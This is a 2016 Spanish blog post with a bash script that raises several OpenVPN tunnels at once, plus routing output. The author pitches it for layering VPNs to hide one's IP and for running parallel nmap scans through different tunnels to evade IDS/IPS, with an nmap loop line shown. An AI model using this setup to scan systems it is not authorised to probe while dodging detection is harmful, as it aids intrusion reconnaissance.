lunes, 31 de octubre de 2016

VPNs levantados simultaneamente con OPENVPN

Ya sabes que hace poco liberaron 4nonimizer, un script en bash que permite ocultar la IP con la que salimos a Internet usando un proveedor VPN que soporte OpenVPN. Inicialmente la herramienta levanta un único túnel pero, ¿por qué no levantar varios de forma concurrente?"



Imaginad la posibilidad de usar una "cadena de proveedores VPN", es decir, establecer una VPN teniendo previamente otra levantada, y así varias veces para ocultar la IP real detrás de varias "capas". O la posibilidad de distribuir tráfico paralelamente durante un escaneo de puertos multiplicando la rapidez y de paso facilitando la evasión de IDS/IPS. Por poner dos claros ejemplos...

Pues nada más fácil, simplemente hay que levantar cada uno de los túneles añadiendo cada ruta con una métrica diferente y pata ello sólo hay que especificarlo en cada fichero de configuración correspondiente del cliente openvpn (.ovpn).

El siguiente script levantará automáticamente tantos túneles VPN como indiquemos:
#!/bin/bash
cp pass.txt ./multivpn
rm ./multivpn/*.ovpn

echo introduce numero de vpns concurrentes
read novpns

# Copia 3 ficheros ovpn adicionales por si algún peer falla
novpns=$((novpns + 3))

currentnovpns=0
while [ $novpns != $currentnovpns ]
do    
    randomvpn=$(ls *.ovpn | shuf -n 1)
    if [ ! -f ./multivpn/$randomvpn ]; then
        cp $randomvpn ./multivpn/ 
        echo "Copiado el fichero $randomvpn"
    fi
    currentnovpns=`ls -1 ./multivpn/*.ovpn 2>/dev/null | wc -l`
done

novpns=$((novpns - 3))

# levanta cada tunel con diferentes metricas
metric="20"
INT=$(ls /sys/class/net/ | grep -E '^eth|^en' | head -1)
GW=$(ip route show 0.0.0.0/0 dev $INT | cut -d\  -f3 | sort -u)

for file in $(ls ./multivpn/*.ovpn) 
    do
    echo "route-metric $metric" >> $file
    echo "route-nopull 1" >> $file
    echo "route 0.0.0.0 0.0.0.0 vpn_gateway $metric" >> $file
    metric=$((metric + 1))
done

cd multivpn

musthavetun=1
tries=1

for file in $(ls *.ovpn) 
do

    currenttun=$(ifconfig | grep tun | awk '{print $1}' | wc -l)
    echo -en "\nNúmero de túneles levantados: $currenttun\n"

    nohup openvpn $file 2>/dev/null &

    echo "Levantando interfaz de túnel"
    while [[ $currenttun -lt $musthavetun ]]
        do
            echo -en "."
            tries=$((tries + 1))
            sleep 1
            currenttun=$(ifconfig | grep tun | awk '{print $1}' | wc -l)
            if [ "$tries" = 30 ]
            then
                break
            fi
        done
    
    route del default gw $GW $INT 2>/dev/null
    route add default gw $GW $INT 2>/dev/null
    sleep 3
    if [ "$currenttun" = "$novpns" ]
    then 
        break    
    else
        musthavetun=$((musthavetun + 1))
        echo "ok!"
    fi
done

echo -e " todos los túneles levantados."

Sólo tenéis que copiarlo (multivpn.sh) al directorio donde tengáis los .ovpn (con 4nonimizer en '/opt/4nonimizer/vpn/proveedor') y copiará aleatoriamente algunos de estos ficheros al subdirectorio 'multivpn' para ejecutarlos después con el cliente openvpn y establecer los túneles uno tras otro: 
# bash multivpn.sh 
introduce numero de vpns concurrentes
4
Copiado el fichero VpnProvider.Singapore-Singapore-NO-TORRENTS-TCP.ovpn
Copiado el fichero VpnProvider.Denmark-Lyngby-TCP.ovpn
Copiado el fichero VpnProvider.USA-NewJersey-NO-TORRENTS-TCP.ovpn
Copiado el fichero VpnProvider.Turkey-Istanbul-UDP.ovpn
Copiado el fichero VpnProvider.Latvia-Riga-NO-TORRENTS-UDP.ovpn
Copiado el fichero VpnProvider.Singapore-Singapore-NO-TORRENTS-UDP.ovpn
Copiado el fichero VpnProvider.Tunisia-Tunis-UDP.ovpn

Número de túneles levantados: 0
Levantando interfaz de túnel
....ok!

Número de túneles levantados: 1
Levantando interfaz de túnel
....ok!

Número de túneles levantados: 2
Levantando interfaz de túnel
.......ok!

Número de túneles levantados: 3
Levantando interfaz de túnel
.... todos los túneles levantados.

Después de su ejecución podéis comprobar que los interfaces de túnel (tun0, tun1, tun2, etc.) han sido creados:
# ifconfig
eth0 Link encap:Ethernet  HWaddr 50:7a:6d:f5:1a:12  
          inet addr:192.168.1.180  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:322235 errors:0 dropped:0 overruns:0 frame:0
          TX packets:215243 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:149725996 (149.7 MB)  TX bytes:17969308 (17.9 MB)
          Interrupt:16 Memory:e1300000-e1320000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:1527 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1527 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:9467111 (9.4 MB)  TX bytes:9467111 (9.4 MB)

tun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          inet addr:10.8.0.10  P-t-P:10.8.0.9  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:48000  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

tun1      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          inet addr:10.9.0.42  P-t-P:10.9.0.41  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:48000  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

tun2      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          inet addr:10.8.0.6  P-t-P:10.8.0.5  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:48000  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

tun3      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          inet addr:10.9.0.14  P-t-P:10.9.0.13  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:48000  Metric:1
          RX packets:13 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:1312 (1.3 KB)  TX bytes:0 (0.0 B)

Y que las rutas han sido creadas con las métricas establecidas:
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 eth0
0.0.0.0         10.8.0.9        0.0.0.0         UG    20     0        0 tun0
0.0.0.0         10.9.0.41       0.0.0.0         UG    21     0        0 tun1
0.0.0.0         10.8.0.5        0.0.0.0         UG    22     0        0 tun2
0.0.0.0         10.9.0.13       0.0.0.0         UG    23     0        0 tun3
10.8.0.5        0.0.0.0         255.255.255.255 UH    0      0        0 tun2
10.8.0.9        0.0.0.0         255.255.255.255 UH    0      0        0 tun0
10.9.0.13       0.0.0.0         255.255.255.255 UH    0      0        0 tun3
10.9.0.41       0.0.0.0         255.255.255.255 UH    0      0        0 tun1
169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U     100    0        0 eth0

A partir de ahí lo que dictamine vuestra imaginación... por ejemplo, lanzar varios escaneos en paralelo con nmap simplemente especificando cada vez un interfaz distinto dentro de un loop:

nmap -sT -Pn -p$port_range -oX salida.xml $network -e tun$iface_number &

De esta manera podremos jugar como queramos como escanear cada rango de puertos de un mismo host desde ubicaciones geográficas diferentes, tal y como se muestra en la siguiente imagen (bmon) con 15 túneles simultáneamente:


¿Interesante verdad? Pues atentos porque pronto actualizaran 4nonimizer con ésta y otras interesantes opciones :)